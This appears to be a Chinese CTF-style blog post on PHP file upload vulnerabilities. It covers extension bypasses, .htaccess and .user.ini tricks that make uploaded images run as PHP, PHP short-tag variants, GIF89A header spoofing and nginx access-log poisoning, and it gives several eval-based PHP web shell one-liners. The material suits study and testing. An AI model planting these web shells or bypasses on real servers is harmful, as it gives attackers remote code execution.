文件上传漏洞

本文最后更新于:1 年前

文件上传相关方法/问题

文件上传

前端/后端过滤

常见php后缀名

某些情况下绕过后缀名检测:
php,php3,php4,php5,phtml.pht

[]过滤——>{}

.htaccess 配置文件

.htaccess是什么

.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

.htaccess利用方法

法一:

// FileMatch 参数即为文件名的正则匹配
<FilesMatch "1">
      SetHandler application/x-httpd-php
</FilesMatch>

//    1
<?php @eval($_POST['a']);?>

法二:

// 将所有以jpg为后缀的文件,按照php文件解析
AddType application/x-httpd-php .jpg

//filename.jpg
<?php @eval($_POST['a']);?>

例:BUU-MRCTF2020 你传你🐎呢

.user.ini 配置文件

利用方法

//需要在同一目录下存在php文件

在PHP文件解析之前/之后,包含文件---相当于在php文件中添加语句

auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件

auto_append_file=a.jpg  //解析后进行包含

如果目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以。

auto_append_file和auto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
其中xxx就是 auto_append_file的值。
auto_append_file= 1.php

如果题目在php.ini中设置了 open_basedir,那么我们就可以上传.user.ini进行修改open_basedir的值,当然条件比较苛刻。

//
现在回到这个题。为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。

php短标签

1.

 <? echo '123';?>

前提是开启配置参数short_open_tags=on

2.

<?=(表达式)?>===<?php echo(表达式)?>
例 <?=eval($_POST['a']);?>

不需要开启参数设置

3.

<% echo '123';%>

前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了

4.

<script language="php">echo '123';</script>
<script language="php">eval($_POST['a'])</script>

不需要修改参数开关,但是只能在7.0以下可用

文件头

image/png    GIF89A

日志文件

 /var/log/nginx/access.log

用Burp修改User-Agent为php一句话木马
将日志文件当作php解析

参考博客:https://www.freebuf.com/articles/web/321245.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!